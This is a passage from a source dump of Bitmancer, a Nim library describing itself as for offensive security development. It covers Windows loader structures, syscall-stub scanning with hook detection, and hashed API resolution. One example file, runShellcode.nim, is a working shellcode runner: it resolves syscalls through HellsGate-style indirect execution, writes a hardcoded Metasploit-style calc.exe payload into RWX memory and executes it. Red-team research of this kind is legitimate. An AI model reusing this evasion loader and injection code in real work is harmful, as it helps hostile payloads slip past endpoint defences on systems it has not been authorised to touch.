18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | loader
22 | export
23 | loader
24 |
25 | type
26 | ## Dynamic/Runtime Function Table
27 | ##------------------------------------
28 | FUNCTION_TABLE_TYPE* = enum
29 | RF_Sorted,
30 | RF_Unsorted,
31 | RF_Callback,
32 | RF_Kernel_Dynamic
33 |
34 | RUNTIME_FUNCTION_TABLE_CALLBACK* = proc(arg1: ULONGLONG, arg2: PVOID): PIMAGE_RUNTIME_FUNCTION_ENTRY
35 |
36 | RUNTIME_FUNCTION_TABLE* {.pure.} = object
37 | ListEntry*: LIST_ENTRY
38 | FunctionTable*: PIMAGE_RUNTIME_FUNCTION_ENTRY
39 | TimeStamp*: LARGE_INTEGER
40 | MinimumAddress*: ULONGLONG
41 | MaximumAddress*: ULONGLONG
42 | BaseAddress*: ULONGLONG
43 | Callback*: RUNTIME_FUNCTION_TABLE_CALLBACK
44 | Context*: PVOID
45 | OutOfProcessCallbackDll*: PWCHAR
46 | Type*: FUNCTION_TABLE_TYPE
47 | EntryCount*: ULONG
48 | TreeNodeMin*: RTL_BALANCED_NODE
49 | TreeNodeMax*: RTL_BALANCED_NODE
50 | PRUNTIME_FUNCTION_TABLE* = ptr RUNTIME_FUNCTION_TABLE
51 |
52 | IMAGE_RUNTIME_FUNCTION_ENTRY_UNION_1* {.pure, union.} = object
53 | UnwindInfoAddress*: ULONG
54 | UnwindData*: ULONG
55 |
56 | IMAGE_RUNTIME_FUNCTION_ENTRY* {.pure.} = object
57 | BeginAddress*: ULONG
58 | EndAddress*: ULONG
59 | Union1*: IMAGE_RUNTIME_FUNCTION_ENTRY_UNION_1
60 | PIMAGE_RUNTIME_FUNCTION_ENTRY* = ptr IMAGE_RUNTIME_FUNCTION_ENTRY
61 |
62 | ## Inverted Function Table
63 | ##------------------------------------
64 | INVERTED_FUNCTION_TABLE_ENTRY_UNION* {.pure, union.} = object
65 | FunctionTable*: PIMAGE_RUNTIME_FUNCTION_ENTRY
66 | DynamicTable*: PRUNTIME_FUNCTION_TABLE
67 |
68 | INVERTED_FUNCTION_TABLE_ENTRY* {.pure.} = object
69 | Union1*: INVERTED_FUNCTION_TABLE_ENTRY_UNION
70 | ImageBase*: PVOID
71 | SizeOfImage*: ULONG
72 | SizeOfTable*: ULONG
73 |
74 | INVERTED_FUNCTION_TABLE* {.pure.} = object
75 | CurrentSize*: ULONG
76 | MaximumSize*: ULONG
77 | Epoch*: ULONG
78 | Overflow*: ULONG
79 | TableEntries*: array[512, INVERTED_FUNCTION_TABLE_ENTRY]
80 | PINVERTED_FUNCTION_TABLE* = ptr INVERTED_FUNCTION_TABLE
81 |
82 |
83 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/utils.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | types
22 | export
23 | types
24 |
25 | type
26 | SomePointer* = pointer | ptr
27 |
28 | ## Assembly Utility Templates
29 | ##------------------------------------------------------------------------
30 | template isCallInstruction*[T: SomePointer](p: T): bool =
31 | when T is ptr BYTE:
32 | p[] == 0xE8
33 | else:
34 | cast[PBYTE](p)[] == 0xE8
35 |
36 | ## Pointer Utility Templates
37 | ##------------------------------------------------------------------------
38 | template `++`*[T](p: var ptr T) =
39 | p = cast[ptr T](cast[int](p) +% sizeof(T))
40 |
41 | template `--`*[T](p: var ptr T) =
42 | p = cast[ptr T](cast[int](p) -% sizeOf(T))
43 |
44 | template `+!`*[T: SomePointer](p: T, s: SomeInteger): T =
45 | when s is SomeSignedInt:
46 | cast[T](cast[int](p) +% s.int)
47 | elif s is SomeUnsignedInt:
48 | cast[T](cast[uint](p) + s.uint)
49 |
50 | template `-!`*[T: SomePointer](p: T, s: SomeInteger): T =
51 | when s is SomeSignedInt:
52 | cast[T](cast[int](p) -% s.int)
53 | elif s is SomeUnsignedInt:
54 | cast[T](cast[uint](p) - s.uint)
55 |
56 | template `+=!`*[T: SomePointer](p: var T, s: SomeInteger) =
57 | p = p +! s
58 |
59 | template `-=!`*[T: SomePointer](p: var T, s: SomeInteger) =
60 | p = p -! s
61 |
62 | template inc*(p: var pointer) =
63 | p = p +! 1
64 |
65 | template inc*[T: SomeInteger](p: var ptr T) =
66 | p = p +! sizeOf(T)
67 |
68 | template dec*(p: var pointer) =
69 | p = p -! 1
70 |
71 | template dec*[T: SomeInteger](p: var ptr T) =
72 | p = p -! sizeOf(T)
73 |
74 | template CONTAINING_RECORD*(address: ptr, T: typedesc, field: untyped): ptr T =
75 | cast[ptr T](cast[int](address) -% T.offsetOf(field))
76 |
77 | template NEXT_ADDRESS*[T: SomePointer](p: var T) =
78 | p = cast[T](cast[int](p) +% sizeOf(T))
79 |
80 | template PREV_ADDRESS*[T: SomePointer](p: var T) =
81 | p = cast[T](cast[int](p) -% sizeOf(T))
82 |
83 | ## Bitfield Utility Templates
84 | ##------------------------------------------------------------------------
85 | template `&=`*[T: SomeInteger](x: var T, y: T) =
86 | x = x and y
87 |
88 | template `|=`*[T: SomeInteger](x: var T, y: T) =
89 | x = x or y
90 |
91 | template `^=`*[T: SomeInteger](x: var T, y: T) =
92 | x = x xor y
93 |
94 | template `&&`*[T: SomeInteger](x, y: T): bool =
95 | (x and y) > 0
96 |
97 | template `||`*[T: SomeInteger](x, y: T): bool =
98 | (x or y) > 0
99 |
100 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/mappings/native.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../ldrbase
22 |
23 | export
24 | ldrbase
25 |
26 | ## Native / On-Disk DLLs
27 | ## Map DLLs from disk into the process.
28 | ##------------------------------------------------------------------------
29 | proc ldrMapNativeModuleKnownDLL*(ctx: PLoadContext): NtResult[void] =
30 | ##
31 |
32 | proc ldrMapNativeModule*(ctx: PLoadContext): NtResult[void] =
33 | var
34 | sHandle = HANDLE(0)
35 | fHandle = HANDLE(0)
36 | viewSize = SIZE_T(0)
37 | ioStatusBlock = IO_STATUS_BLOCK()
38 | mapBase = PVOID(NULL)
39 |
40 | ## Initialize Object Attributes
41 | var
42 | objAttributes = OBJECT_ATTRIBUTES()
43 | objPath = UNICODE_STRING()
44 | objBuffer = ctx.entry.FullDllName.Buffer
45 |
46 | RTL_INIT_EMPTY_UNICODE_STRING(objPath, objBuffer, USHORT(objBuffer.len() * sizeOf(WCHAR)))
47 | InitializeObjectAttributes(addr objAttributes, addr objPath, 0, sHandle, NULL)
48 |
49 | ? ntOpenFile(
50 | fHandle,
51 | ACCESS_MASK(SYNCHRONIZE or FILE_READ_DATA or FILE_EXECUTE),
52 | addr objAttributes,
53 | ioStatusBlock,
54 | ULONG(FILE_SHARE_READ or FILE_SHARE_DELETE),
55 | ULONG(FILE_NON_DIRECTORY_FILE or FILE_SYNCHRONOUS_IO_NONALERT)
56 | )
57 |
58 | if ntCreateSection(
59 | sHandle,
60 | ACCESS_MASK(SECTION_QUERY or SECTION_MAP_READ or SECTION_MAP_EXECUTE),
61 | NULL,
62 | NULL,
63 | PAGE_EXECUTE,
64 | SEC_IMAGE,
65 | fHandle
66 | ).isErr():
67 | ntClose(fHandle)
68 | return err SyscallFailure
69 |
70 | if ntMapViewOfSection(
71 | sHandle,
72 | rtlCurrentProcess(),
73 | mapBase,
74 | 0,
75 | 0,
76 | NULL,
77 | viewSize,
78 | 1,
79 | 0,
80 | PAGE_READONLY
81 | ).isErr():
82 | ntClose(sHandle)
83 | ntClose(fHandle)
84 | return err SyscallFailure
85 |
86 | ctx.fileHandle = fHandle
87 | ctx.sectHandle = sHandle
88 | ctx.entry.DLLBase = mapBase
89 | ctx.entry.SizeOfImage = ULONG(viewSize)
90 | ok()
91 |
92 | proc ldrUnmapNativeModule*(ctx: PLoadContext): NtResult[void] =
93 | ntUnmapViewOfSection(rtlCurrentProcess(), ctx.entry.DLLBase)
94 | ntClose(ctx.sectHandle)
95 | ctx.sectHandle = 0
96 | ntClose(ctx.fileHandle)
97 | ctx.fileHandle = 0
98 | ok()
99 |
100 |
101 |
--------------------------------------------------------------------------------
/examples/runShellcode.nim:
--------------------------------------------------------------------------------
1 | import ../src/Bitmancer/syscalls
2 | import ../src/Bitmancer/core/obfuscation/hash
3 |
4 | # ----------------------------------------------------------------------------
5 | # Define syscalls
6 |
7 | type
8 | NtAllocateVirtualMemory = proc(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.stdcall, gcsafe.}
9 | NtWriteVirtualMemory = proc(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.stdcall, gcsafe.}
10 |
11 | const
12 | NtAllocateVirtualMemoryHash = ctDjb2 "NtAllocateVirtualMemory"
13 | NtWriteVirtualMemoryHash = ctDjb2 "NtWriteVirtualMemory"
14 |
15 | genSyscall(NtAllocateVirtualMemory)
16 | genSyscall(NtWriteVirtualMemory)
17 |
18 | # ----------------------------------------------------------------------------
19 | # Configure Bitmancer
20 |
21 | const
22 | symEnum = SymbolEnumeration.UseEAT
23 | ssnEnum = SsnEnumeration.HellsGate
24 | exeEnum = SyscallExecution.Indirect
25 |
26 | # ----------------------------------------------------------------------------
27 | # Basic Injection
28 |
29 | proc inject(): NtResult[bool] = # you need to wrap the result in some sort of NtResult[]
30 | # Get ntdll
31 | let Ntdll = NTDLL_BASE().valueOr():
32 | return
33 |
34 | # Resolve syscalls
35 | var NtAllocateVirtualMemorySyscall = ? getNtSyscall[NtAllocateVirtualMemory](Ntdll, ModuleHandle(NULL), NtAllocateVirtualMemoryHash, symEnum, ssnEnum, exeEnum)
36 | var NtWriteVirtualMemorySyscall = ? getNtSyscall[NtWriteVirtualMemory](Ntdll, ModuleHandle(NULL), NtWriteVirtualMemoryHash, symEnum, ssnEnum, exeEnum)
37 |
38 |
39 | # I think this is a msf calc.exe payload :-)
40 | var buf: array[276, byte] = [
41 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,
42 | 0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,
43 | 0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,
44 | 0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
45 | 0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
46 | 0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,
47 | 0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,
48 | 0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,
49 | 0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,
50 | 0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,
51 | 0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
52 | 0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,
53 | 0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,
54 | 0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,
55 | 0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,
56 | 0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,
57 | 0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,
58 | 0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,
59 | 0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,
60 | 0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,
61 | 0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,
62 | 0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,
63 | 0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,
64 | 0x00]
65 |
66 |
67 | var sc_size: SIZE_T = cast[SIZE_T](buf.len)
68 | var dest: LPVOID
69 | var current_process: HANDLE = cast[HANDLE](-1) # pseudo handle to current proc
70 |
71 | var ret = NtAllocateVirtualMemoryWrapper(current_process, &dest, 0, &sc_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE, NtAllocateVirtualMemorySyscall)
72 |
73 | var bytesWritten: SIZE_T
74 | ret = NtWriteVirtualMemoryWrapper(current_process, dest, unsafeAddr buf, sc_size-1, addr bytesWritten, NtWriteVirtualMemorySyscall)
75 |
76 | let f = cast[proc(){.nimcall.}](dest)
77 | f()
78 |
79 | when isMainModule:
80 | discard inject()
81 |
--------------------------------------------------------------------------------
/tests/trtl.nim:
--------------------------------------------------------------------------------
1 |
2 |
3 | import
4 | winim/winstr,
5 | ../Bitmancer/core/obfuscation/hash,
6 | ../Bitmancer/rtl,
7 | unittest
8 |
9 | suite "Test RTL functions":
10 |
11 | test "Heap":
12 | let alloc = PROCESS_HEAP_ALLOC(pointer)
13 | check:
14 | alloc.isOk()
15 |
16 | let free = PROCESS_HEAP_FREE(alloc.get())
17 | check:
18 | free.isOk()
19 |
20 | test "Locks":
21 |
22 | checkpoint "SRW Locks"
23 | var srwlock = RTL_SRWLOCK()
24 |
25 | let status1 = eRtlInitializeSRWLock(srwlock)
26 | check:
27 | status1.isOk()
28 |
29 | let status2 = eRtlAcquireSRWLockExclusive srwlock
30 | check:
31 | status2.isOk()
32 |
33 | let status3 = eRtlReleaseSRWLockExclusive srwlock
34 | check:
35 | status3.isOk()
36 |
37 | checkpoint "Critical Sections"
38 | let peblock = NtCurrentPeb().FastPebLock
39 |
40 | let status5 = eRtlEnterCriticalSection peblock
41 | check:
42 | status5.isOk()
43 |
44 | let status6 = eRtlLeaveCriticalSection peblock
45 | check:
46 | status6.isOk()
47 |
48 | test "RedBlack":
49 | let
50 | pHead = LDR_LIST_ORDER(NtCurrentPeb(), MemoryOrder)
51 | pCurr = LDR_LINK_ORDER(pHead.Flink, MemoryOrder)
52 | ntdllEntry = getLdrEntry(NtdllHash, MemoryOrder)
53 | pNode = LDR_INDEX_ORDER(pCurr, BaseAddress)
54 | root = getFirstNode pNode
55 | baseTree = getBaseAddressIndexTree()
56 | var ntdllNode = addr ntdllEntry.get().BaseAddressIndexNode
57 | check:
58 | baseTree.isOk()
59 |
60 | let
61 | parent = NODE_PARENT_NODE(ntdllNode)
62 | remove = eRtlRbRemoveNode(baseTree.get(), ntdllNode)
63 | check:
64 | remove.isOk()
65 | CHILD_ENTRY_RIGHT(parent).isNil()
66 |
67 | let insert = eRtlRbInsertNodeEx(
68 | baseTree.get(),
69 | root.get(),
70 | TRUE,
71 | ntdllNode
72 | )
73 | check:
74 | insert.isOk()
75 | NODE_PARENT_NODE(ntdllNode) != parent
76 |
77 | test "Shlwapi":
78 | let
79 | system32string = L"C:\\Windows\\System32\\ntdll.dll"
80 | drivestring = L"C:\\ntdll.dll"
81 | driveDir = L"C:\\"
82 | cdrivedirstring = L"C:"
83 | filestring = L"ntdll.dll"
84 | notfilestring = L"C:\\foo\\"
85 |
86 | let
87 | system32 = cPathFindFileNameW(system32string)
88 | cDrive = cPathFindFileNameW(driveString)
89 | cDriveDir = cPathFindFileNameW(driveDir)
90 | file = cPathFindFileNameW(filestring)
91 | cDrv = cPathFindFileNameW(cdrivedirstring)
92 | notfile = cPathFindFileNameW(notfilestring)
93 |
94 | check:
95 | system32.isOk()
96 | $system32.get() == $filestring
97 |
98 | cDrive.isOk()
99 | $cDrive.get() == $filestring
100 |
101 | cDriveDir.isOk()
102 | $cDriveDir.get() == $driveDir
103 |
104 | file.isOk()
105 | $file.get() == $filestring
106 |
107 | cDrv.isOk()
108 | $cDrv.get() == $cdrivedirstring
109 |
110 | notfile.isOk()
111 | $notfile.get() == $notfilestring
112 |
113 | test "Str":
114 | var
115 | uniString = UNICODE_STRING()
116 | buffer = L"ntdll.dll"
117 |
118 | checkpoint "RtlInitUnicodeString"
119 |
120 | let status1 = eRtlInitUnicodeString(uniString, buffer)
121 | check:
122 | status1.isOk()
123 |
124 | let hash = eRtlHashUnicodeString(addr uniString, TRUE, 0)
125 | check:
126 | hash.isOk()
127 | hash.get() != 0
128 |
--------------------------------------------------------------------------------
/src/Bitmancer/core/enumeration/memory/syscalls.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ".."/../[pe, utils]
22 |
23 | export
24 | pe
25 |
26 | ## Memory Enumeration for Syscalls
27 | ##------------------------------------------------------------------------
28 | const
29 | SeperationBytes = QWORD 0x0000000000841F0F ## nop dword ptr ds:[rax+rax], eax
30 | BarrierBytes = QWORD 0xCCCCCCCCCCCCCCCC
31 | SyscallBytes = WORD 0x050F
32 | type
33 | Syscall* {.byCopy.} = object
34 | wSyscall*: WORD
35 | pSyscall*: PVOID
36 | SyscallResult* = NtResult[Syscall]
37 |
38 | ## Helper Templates
39 | ##------------------------------------
40 | template isValidStub(currentByte: PVOID): bool =
41 | ## First opcodes should be :
42 | ## MOV R10, RCX
43 | ## MOV RCX,
44 | cast[PBYTE](currentByte)[] == 0x4C and
45 | cast[PBYTE](currentByte +! 1)[] == 0x8B and
46 | cast[PBYTE](currentByte +! 2)[] == 0xD1 and
47 | cast[PBYTE](currentByte +! 3)[] == 0xB8 and
48 | cast[PBYTE](currentByte +! 6)[] == 0x00 and
49 | cast[PBYTE](currentByte +! 7)[] == 0x00
50 |
51 | ## Public
52 | ##------------------------------------
53 | iterator ntStubs*(pFirstStub: UINT_PTR): UINT_PTR =
54 | var
55 | currentQword = cast[PQWORD](pFirstStub)
56 | breakLoop = true
57 | while breakLoop:
58 | yield cast[UINT_PTR](currentQword)
59 | while currentQword[] != SeperationBytes:
60 | NEXT_ADDRESS currentQword
61 | if currentQword[] == BarrierBytes:
62 | breakLoop = false
63 | break
64 | if breakLoop:
65 | NEXT_ADDRESS currentQword
66 |
67 | template isHighestAddress*(pStub: UINT_PTR): bool =
68 | cast[PQWORD](pstub -% sizeof(UINT_PTR))[] == BarrierBytes
69 |
70 | template isHooked*(pStub: PVOID): bool =
71 | not checkStub(pStub, 0).isOk()
72 |
73 | func searchNtStubUp*(pStub: UINT_PTR): UINT_PTR =
74 | var currentQword = cast[PQWORD](pStub)
75 | while cast[PQWORD](currentQword -! sizeof(UINT_PTR))[] != BarrierBytes:
76 | PREV_ADDRESS currentQword
77 | cast[UINT_PTR](currentQword)
78 |
79 | func getSyscallInstruction*(stub: PVOID): NtResult[PVOID] =
80 | let syscall = stub +! 0x12
81 | if cast[PWORD](syscall)[] != SyscallBytes:
82 | err SearchNotFound
83 | else:
84 | ok syscall
85 |
86 | func checkStub*(functionBase: PVOID, offset: DWORD): SyscallResult =
87 | ## Checks the stub at the offset from the functionBase for an unhooked syscall stub.
88 | if isValidStub(functionBase +! offset):
89 | let
90 | highByte = cast[PBYTE](functionBase +! offset +! 5)[]
91 | lowByte = cast[PBYTE](functionBase +! offset +! 4)[]
92 | wSyscall = WORD((highByte shr 8) or lowByte)
93 | pSyscall = ? getSyscallInstruction(functionBase +! offset)
94 | ok Syscall(
95 | wSyscall: wSyscall,
96 | pSyscall: pSyscall
97 | )
98 | else:
99 | err SyscallNotFound
100 |
101 |
--------------------------------------------------------------------------------
/src/Bitmancer/rtl/str.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../core
23 |
24 | export
25 | core
26 |
27 | ## Hashes
28 | ##------------------------------------------------------------------------
29 | const
30 | RtlHashUnicodeStringHash* = HASH_A cstring"RtlHashUnicodeString"
31 | RtlInitUnicodeStringHash* = HASH_A cstring"RtlInitUnicodeString"
32 | RtlFreeUnicodeStringHash* = HASH_A cstring"RtlFreeUnicodeString"
33 |
34 | ## Custom Unicode String Functions
35 | ##------------------------------------------------------------------------
36 | proc new*(T: typedesc[UNICODE_STRING], sz: SIZE_T = MAX_PATH): NtResult[T] =
37 | var newUnicodeString = UNICODE_STRING()
38 | newUnicodeString.Length = 0
39 | newUnicodeString.MaximumLength = sz.USHORT
40 | newUnicodeString.Buffer = cast[PWSTR](? PROCESS_HEAP_ALLOC(sz))
41 | ok newUnicodeString
42 |
43 | ## RTL Unicode String Functions
44 | ##------------------------------------------------------------------------
45 |
46 | ## RtlHashUnicodeString
47 | ##------------------------------------
48 | proc getRtlHashUnicodeString*(Ntdll: ModuleHandle): NtResult[RtlHashUnicodeString] {.inline.} =
49 | let f = ? getProcAddress(Ntdll, RtlHashUnicodeStringHash)
50 | ok cast[RtlHashUnicodeString](f)
51 |
52 | proc rtlHashUnicodeString*(s: PUNICODE_STRING, inSensitive: BOOLEAN, hashAlgo: ULONG): NtResult[ULONG] =
53 | let
54 | Ntdll = ? NTDLL_BASE()
55 | pRtlHashUnicodeString = ? getRtlHashUnicodeString Ntdll
56 | var hashValue = ULONG(0)
57 |
58 | if NT_SUCCESS pRtlHashUnicodeString(s, inSensitive, hashAlgo, hashValue):
59 | ok hashValue
60 | else:
61 | err ProcedureFailure
62 |
63 | ## RtlInitUnicodeString
64 | ##------------------------------------
65 | proc getRtlInitUnicodeString*(Ntdll: ModuleHandle): NtResult[RtlInitUnicodeString] {.inline.} =
66 | let f = ? getProcAddress(Ntdll, RtlInitUnicodeStringHash)
67 | ok cast[RtlInitUnicodeString](f)
68 |
69 | proc rtlInitUnicodeString*(dest: var UNICODE_STRING, src: PCWSTR): NtResult[void] =
70 | let
71 | Ntdll = ? NTDLL_BASE()
72 | pRtlInitUnicodeString = ? getRtlInitUnicodeString Ntdll
73 | pRtlInitUnicodeString(dest, src)
74 | ok()
75 |
76 | func rtlInitUnicodeString*(dest: var UNICODE_STRING, src: PCWSTR) =
77 | if not src.isNil():
78 | let destSize = src.len() * sizeof(WCHAR)
79 | dest.Length = cast[USHORT](destSize)
80 | dest.MaximumLength = cast[USHORT](destSize + sizeof(WCHAR))
81 | else:
82 | dest.Length = 0
83 | dest.MaximumLength = 0
84 | dest.Buffer = src
85 |
86 | ## RtlFreeUnicodeString
87 | ##------------------------------------
88 | proc getRtlFreeUnicodeString*(Ntdll: ModuleHandle): NtResult[RtlFreeUnicodeString] {.inline.} =
89 | let f = ? getProcAddress(Ntdll, RtlFreeUnicodeStringHash)
90 | ok cast[RtlFreeUnicodeString](f)
91 |
92 | proc rtlFreeUnicodeString*(s: var UNICODE_STRING): NtResult[void] {.discardable.} =
93 | let
94 | Ntdll = ? NTDLL_BASE()
95 | pRtlFreeUnicodeString = ? getRtlFreeUnicodeString Ntdll
96 | pRtlFreeUnicodeString(s)
97 | ok()
98 |
--------------------------------------------------------------------------------
/src/Bitmancer/crt/io.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../core/[ntloader, procedures]
23 |
24 | export
25 | ntloader
26 |
27 | ## IO
28 | ##
29 | ## This is still a large WIP.
30 | ##------------------------------------------------------------------------
31 |
32 | const
33 | O_BINARY* = 0x8000
34 | LoadLibraryHash* = ctDjb2 "LoadLibraryA"
35 | Iob_funcHash* = ctDjb2 "__iob_func"
36 | FilenoHash* = ctDjb2 "_fileno"
37 | FwriteHash* = ctDjb2 "fwrite"
38 | FflushHash* = ctDjb2 "fflush"
39 | SetModeHash* = ctDjb2 "_setmode"
40 |
41 | proc getiob_func*(imageBase: ModuleHandle): NtResult[iob_func] {.inline.} =
42 | let f = ? getProcAddress(imageBase, Iob_funcHash)
43 | ok cast[iob_func](f)
44 |
45 | proc getfileno*(imageBase: ModuleHandle): NtResult[fileno] {.inline.} =
46 | let f = ? getProcAddress(imageBase, FilenoHash)
47 | ok cast[fileno](f)
48 |
49 | proc getset_mode*(imageBase: ModuleHandle): NtResult[set_mode] {.inline.} =
50 | let f = ? getProcAddress(imageBase, SetModeHash)
51 | ok cast[set_mode](f)
52 |
53 | proc getfwrite*(imageBase: ModuleHandle): NtResult[fwrite] {.inline.} =
54 | let f = ? getProcAddress(imageBase, FwriteHash)
55 | ok cast[fwrite](f)
56 |
57 | proc getfflush*(imageBase: ModuleHandle): NtResult[fflush] {.inline.} =
58 | let f = ? getProcAddress(imageBase, FflushHash)
59 | ok cast[fflush](f)
60 |
61 | proc getAndInitStdout(crtBase: ModuleHandle): NtResult[CFilePtr] =
62 | let
63 | piob_func = ? getiob_func crtBase
64 | pfile_no = ? getfileno crtBase
65 | pset_mode = ? getset_mode crtBase
66 |
67 | ## I have no idea why stdout is at an offset of 0x30, the structure
68 | ## (from what i can tell by reading mingw's source code) is 0x40 bytes.
69 | ## 0x30 puts us at CFile.bufSize.
70 | let cstdout = cast[CFilePtr](cast[int](piob_func()) +% 0x30)
71 | if pset_mode(pfile_no(cstdout), O_BINARY) == -1:
72 | err ProcedureFailure
73 | else:
74 | ok cstdout
75 |
76 | proc writeStream(crtBase: ModuleHandle, f: CFilePtr, s: cstring): NtResult[void] =
77 | let
78 | pfwrite = ? getfwrite crtBase
79 | pflush = ? getfflush crtBase
80 | discard pfwrite(s, 1, s.len, f)
81 | discard pflush(f)
82 | ok()
83 |
84 | proc getCrtBase(): NtResult[ModuleHandle] =
85 | let crtBase =
86 | if not MODULE_LOADED(MsvcrtHash, LoadOrder):
87 | ## if not loaded, load it - just using loadlibrary for now
88 | var msvcrt {.stackStringA.} = "msvcrt.dll"
89 | let
90 | k32 = ? KERNEL32_BASE()
91 | loadLibrary = ? getProcAddress(k32, LoadLibraryHash)
92 | pLoadLibrary = cast[LoadLibrary](loadlibrary)
